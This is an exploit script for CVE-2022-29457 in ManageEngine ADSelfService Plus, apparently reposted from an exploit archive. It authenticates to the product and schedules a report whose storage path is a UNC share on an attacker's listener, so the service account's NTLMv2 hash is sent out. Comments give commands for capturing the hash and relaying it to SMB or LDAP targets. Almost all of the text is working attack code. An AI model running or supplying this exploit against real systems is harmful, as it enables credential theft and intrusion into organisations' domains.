Share
## https://sploitus.com/exploit?id=PACKETSTORM:167051
# Exploit Title: ManageEngine ADSelfService Plus Build 6118 - NTLMv2 Hash Exposure  
# Exploit Author: Metin Yunus Kandemir  
# Vendor Homepage: https://www.manageengine.com/  
# Software Link: https://www.manageengine.com/products/self-service-password/download.html  
# Details: https://docs.unsafe-inline.com/0day/multiple-manageengine-applications-critical-information-disclosure-vulnerability  
# Version: ADSelfService Plus Build < 6121  
# Tested against: Build 6118  
# CVE: CVE-2022-29457  
  
# !/usr/bin/python3  
import argparse  
import requests  
import urllib3  
import random  
import sys  
  
"""  
1-   
a)Set up SMB server to capture NTMLv2 hash.  
python3 smbserver.py share . -smb2support  
  
b)For relaying to SMB:  
python3 ntlmrelayx.py -smb2support -t smb://TARGET  
  
c)For relaying to LDAP:  
python3 ntlmrelayx.py -t ldaps://TARGET  
  
2- Fire up the exploit.  
You will obtain the NTLMv2 hash of user/computer account that runs the ADSelfService in five minutes.  
"""  
  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  
  
def get_args():  
parser = argparse.ArgumentParser(  
epilog="Example: exploit.py -t https://Target/ -l Listener-IP -a adselfservice -d unsafe.local -u operator1 -p operator1")  
parser.add_argument('-d', '--domain', required=True, action='store', help='DNS name of the target domain. ')  
parser.add_argument('-a', '--auth', required=True, action='store', help='If you have credentials of the application user, type adselfservice. If you have credentials of the domain user, type domain')  
parser.add_argument('-u', '--user', required=True, action='store')  
parser.add_argument('-p', '--password', required=True, action='store')  
parser.add_argument('-t', '--target', required=True, action='store', help='Target url')  
parser.add_argument('-l', '--listener', required=True, action='store', help='Listener IP to capture NTLMv2 hash')  
args = parser.parse_args()  
return args  
  
  
def scheduler(domain, auth, target, listener, user, password):  
try:  
with requests.Session() as s:  
gUrl = target  
getCsrf = s.get(url=gUrl, allow_redirects=False, verify=False)  
csrf = getCsrf.cookies['_zcsr_tmp']  
print("[*] Csrf token: %s" % getCsrf.cookies['_zcsr_tmp'])  
  
if auth.lower() == 'adselfservice':  
auth = "ADSelfService Plus Authentication"  
data = {  
"loginName": user,  
"domainName": auth,  
"j_username": user,  
"j_password": password,  
"AUTHRULE_NAME": "ADAuthenticator",  
"adscsrf": [csrf, csrf]  
}  
  
#Login  
url = target + "j_security_check"  
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"}  
req = s.post(url, data=data, headers=headers, allow_redirects=True, verify=False)  
#Auth Check  
url2 = target + "webclient/index.html"  
req2 = s.get(url2, headers=headers, allow_redirects=False, verify=False)  
if req2.status_code == 200:  
print("[+] Authentication is successful.")  
elif req2.status_code == 302:  
print("[-] Login failed.")  
sys.exit(1)  
else:  
print("[-] Something went wrong")  
sys.exit(1)  
  
dn = domain.split(".")  
r1 = random.randint(1, 1000)  
  
surl = target + 'ServletAPI/Reports/saveReportScheduler'  
data = {  
'SCHEDULE_ID':'0',  
'ADMIN_STATUS':'3',  
'SCHEDULE_NAME': 'enrollment' + str(r1),  
'DOMAINS': '["'+ domain +'"]',  
'DOMAIN_PROPS': '{"'+ domain +'":{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","DOMAIN_SELECTED_OUS_GROUPS":{"ou":[{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","NAME":"'+ domain +'"}]}}}',  
'SELECTED_REPORTS': '104,105',  
'SELECTED_REPORT_LIST': '[{"REPORT_CATEGORY_ID":"3","REPORT_LIST":[{"CATEGORY_ID":"3","REPORT_NAME":"adssp.reports.enroll_rep.enroll.heading","IS_EDIT":false,"SCHEDULE_ELEMENTS":[],"REPORT_ID":"104"},{"CATEGORY_ID":"3","REPORT_NAME":"adssp.common.text.non_enrolled_users","IS_EDIT":true,"SCHEDULE_ELEMENTS":[{"DEFAULT_VALUE":false,"size":"1","ELEMENT_VALUE":false,"uiText":"adssp_reports_enroll_rep_non_enroll_show_notified","name":"SHOW_NOTIFIED","id":"SHOW_NOTIFIED","TYPE":"checkbox","class":"grayfont fntFamily fntSize"}],"REPORT_ID":"105"}],"REPORT_CATEGORY_NAME":"adssp.xml.reportscategory.enrollment_reports"}]',  
'SCHEDULE_TYPE': 'hourly',  
'TIME_OF_DAY': '0',  
'MINS_OF_HOUR': '5',  
'EMAIL_ID': user +'@'+ domain,  
'NOTIFY_ADMIN': 'true',  
'NOTIFY_MANAGER': 'false',  
'STORAGE_PATH': '\\\\' + listener + '\\share',  
'FILE_FORMAT': 'HTML',  
'ATTACHMENT_TYPE': 'FILE',  
'ADMIN_MAIL_PRIORITY': 'Medium',  
'ADMIN_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_sub',  
'ADMIN_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_msg_html',  
'MANAGER_FILE_FORMAT': 'HTML',  
'MANAGER_ATTACHMENT_TYPE': 'FILE',  
'MANAGER_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_mgr_sub',  
'MANAGER_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_mgr_msg_html',  
'adscsrf': csrf  
}  
sch = s.post(surl, data=data, headers=headers, allow_redirects=False, verify=False)  
if 'adssp.reports.schedule_reports.storage_path.unc_storage_path' in sch.text:  
print('[-] The target is patched!')  
sys.exit(1)  
if sch.status_code == 200:  
print("[+] The report is scheduled. The NTLMv2 hash will be captured in five minutes!")  
else:  
print("[-] Something went wrong. Please, try it manually!")  
sys.exit(1)  
except:  
print('[-] Connection error!')  
  
def main():  
arg = get_args()  
domain = arg.domain  
auth = arg.auth  
user = arg.user  
password = arg.password  
target = arg.target  
listener = arg.listener  
scheduler(domain, auth, target, listener, user, password)  
  
  
if __name__ == "__main__":  
main()